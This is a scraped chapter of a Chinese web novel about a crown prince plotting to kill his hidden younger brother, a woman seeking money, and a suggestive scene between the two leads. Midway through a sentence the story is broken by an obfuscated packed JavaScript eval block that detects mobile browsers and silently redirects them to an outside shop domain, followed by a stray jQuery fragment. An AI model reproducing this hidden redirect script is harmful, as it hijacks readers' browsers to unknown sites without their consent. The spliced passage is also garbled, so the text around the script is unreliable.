文趣网 > 其他小说 > 捡个皇子当奴隶 > 24. 第二十四章
    许是刘怀远脸上的震惊太过明显,薛桓迅速用铁钳般的手臂勒住他的脖子,凶狠地威胁道:“你见过这上面的人是不是?不说就杀了你!”

    “我……”刘怀远憋得满脸通红,结结巴巴地说不出话来。

    “薛桓。”帐慢后的人影又发话了,制止了自己部下的行为。

    “你放心,只要你帮我找到此人,我会给你大笔赏银,绝不会亏待于你,以及你的家人。”语气温和从容,似是在循循善诱,“告诉我,你是从何处见到的?”

    刘怀远瘫坐在地面上,双手护着自己的脖颈,大口大口喘着粗气。听到这话,恐惧并没有消退几分,反而只觉得帐慢后那道目光犹如实质般沉甸甸地压下来,压得他头皮发麻。

    他心里很清楚,眼前之人连同沈归荑身边的仆人,都不是什么善茬,都不是他能惹得起的人物。就算此刻坦白一切,到头来也难逃被灭口的下场。还不如暂且拖延,兴许还能找到活命的机会。

    想到这,他咽了口唾沫,颤巍巍道:“我……我是见过,可我不记得是在什么地方了,好像……好像是在前几日的集市上,他做了伪装,但面孔陌生还是让我发现出不对劲来。”

    “集市……”人影喃喃重复了一遍。

    刘怀远急声道:“对!是集市,集市里人多眼杂,想必肯定还有许多对这人有印象的,我愿意帮您去打探,保证尽快找到这人所在的地方。”

    他跪伏在地面上,只等待着帐慢后的贵人能够松口答应。可半晌过去,回应他的只有漫长的沉默。

    就当他以为自己心中的盘算被看出,终究还是难逃一死的时候,那人终于缓缓开口道:“可以。”

    一旁的薛桓插嘴道:“可殿……可这样未免太耽误时间,还是让属下去集市暗中打听一番吧。”

    人影嗤笑一声,“蠢货,你当真以为我这位好弟弟会傻到老老实实地等着你去寻他?只要咱们手下人一露面,他定然第一时间就会察觉到端倪。”

    幽沉的目光落到始终匍匐在地不敢抬头的刘怀远身上,“你先回去,需要做什么明日会告诉你。切莫动歪心思,不然下场你应当清楚。”

    刘怀远连连磕了好几个头,逃也似地离开了这里。

    待他走后,薛桓不解问道:“太子殿下,您是打算留此人作为眼线,派他去探查三皇子的行踪吗?只是三皇子如今刻意隐匿踪迹,即使交由他去搜寻,虽说可以掩人耳目,但想来也要耗费不少时日。”

    “无事……咳咳。”一只瘦削无力的手缓缓掀开帐慢,露出一张苍白到毫无血色的脸来。薛桓立即回意,端来热水服侍他饮下。

    “明日你去镇里散播些消息,孤的这位好弟弟一旦听闻风声,必然会按耐不住,派人暗中探查动静。只要他一动,自然就能顺藤摸瓜找到他。”

    他俊美的面容上扯出一抹极为违和的狰狞扭曲,低声阴恻道:“找到后,就即刻了结他的性命。”

    *

    临溪镇,为了庆贺佳节,处处张灯结彩,喜气洋洋。可在一处偏僻的巷子里,却传来一道尖锐的叫骂声。

    “你这忘恩负义的白眼狼!当初花言巧语哄骗于我,说会好好待我。结果从我这里骗了那么多银钱,现在问你借些钱简直就要比登天还难。狼心狗肺的东西,你就不怕遭报应吗!”

    李桂香在门外骂骂咧咧了许久,都不见门内人回应。她喊得嗓子都哑了,抬脚狠狠踹了几下屋门,才愤愤转身离去。

    如今她身上已是一文钱也无,前段时日在沈归荑那里要来的钱早就被她在赌场里输光了,甚至还欠了好多银子。本来是想找自己的相好借些,可对方忘恩负义,直接将她赶出了门。

    她走进热闹的集市里,落寞的神情与周遭人的欢天喜地形成了鲜明的对比。她长叹一口气,双手掩面倚在墙壁上,眼下没有别的办法了,只能再去找沈归荑要些钱。

    这么想着,她拖着沉重的步伐,往几公里以外沈归荑所在的小院走去。

    恰在这时,周围百姓的交谈声吸引了她的注意。

    “你听说了吗,那位三皇子现在就住在咱们镇子里呢!”

    “不可能吧,之前不是传他与太子遇刺受伤,早就被送回京城医治了吗?”

    “那都是假的,他的确受了伤,可压根没回京,一直留在咱们这里呢……”

    李桂香颓废的脸色在听到这些话后瞬间变了,她快步追上那几人,问道:“你们从哪里听说的,三皇子身份尊贵,怎会住在这里呢?”

    几位妇人上下打量她一番,见她穿着打扮都极为普通,才压低声音神神秘秘地说道:“肯定又是皇家那些说不清的纠葛呗,我早就觉得不对了,既然皇子都找到了,之前朝廷为何还派官兵来四处搜寻呢?依我看,定是出了什么天大的变故,三皇子才不得不留在咱们这里的。”

    闻言,李桂香眼底掠过一抹精光,心中念头一转,立马便有了盘算。

    她的机会来了。

    *

    睡梦中,沈归荑迷迷糊糊地翻了个身,却好像压到了什么东西,引得身下人闷哼一声。

    她

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17644045|205344||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    被这动静惊醒,睁开眼才发现自己不知何时趴到了谢昭辞身上,方才大概是不慎碰到了他的伤口,弄疼了他。

    思及此,她只是微微挪动了下手臂,却并没有要起身的意思,舒舒服服地趴在谢昭辞结实的胸膛上,甚至还扯过他的手臂圈住自己的后腰,好让自己更暖和些。

    隔着一层轻薄的布料,谢昭辞的掌心轻轻贴在她柔嫩细腻的肌肤上,他早已习惯她先前多次的得寸进尺,此刻心神沉静,仿佛掌心触碰到的只是寻常物件,心如止水。

    他将目光淡淡从她纤细白皙的脖颈越过,看向透出隐隐天光的窗户,缓声道:“天亮了,我该去准备早饭了。”

    沈归荑却不许,将他抱得更紧了,“这样好舒服,我要再睡会。”

    谢昭辞扯扯嘴唇,温声提醒道:“可你压到我的伤口了。”

    闻言,沈归荑沉默了一瞬后,才不情不愿地往下挪了挪身子,避开他胸前的伤口,却始终还是不舍得离开他温暖的怀抱。

    眼见她整个人逐渐向下滑落,即将靠近到某个不可言说之处,他微不可察地皱了皱眉,手臂下意识就要抬出去将人揽回来。可指尖刚要有所动作,就忽地想起那日被她捆住手腕在床榻上强吻的一幕。

    彼时,他被她勾起了心底的欲念,但此乃人之常情,与面对的人是谁无关。只是他留在此处另有目的,绝不能被旁的事影响心神。

    因此眼下,他也想再试试,或许那次只是个意外,他并非贪慕美色之人,同样的事不会再发生第二遍。即使她再怎么接近自己,自己也不会再……

    顺着腹间窜起的燥热骤然席卷全身,硬生生扰断了他的所有思绪。他半阖着双目,能清晰感受到面前柔软的身躯在自己身上来回磨蹭,额上青筋不由得突突直跳,平静从容的面庞险些裂开几分。

    耳畔忽然传来沈归荑诧异的惊呼声,“阿犬,你的旧伤又犯了!”

    她心思澄澈干净,当真相信那日谢昭辞所说的患有旧伤,因担心他的伤势,指尖径直探了过去想要检查,“这样不行,我得看看你这里伤得究竟严不严重。若是严重的话,需要立即给你上药。”

    那一缕温热气息如同燎原星火,彻底烧乱了谢昭辞残存的理智。本就难以压下的燥热再度卷土重来,呼吸顿时沉重几分,眼底翻涌的深沉的暗流。

    他几乎是凭着最后一丝清明抬手阻拦,嗓音染上了一丝压抑的沙哑,“不可。”

    可终究是晚了一步。

    沈归荑已然碰到了他腰间的裤带,只轻轻一扯,衣衫微敞。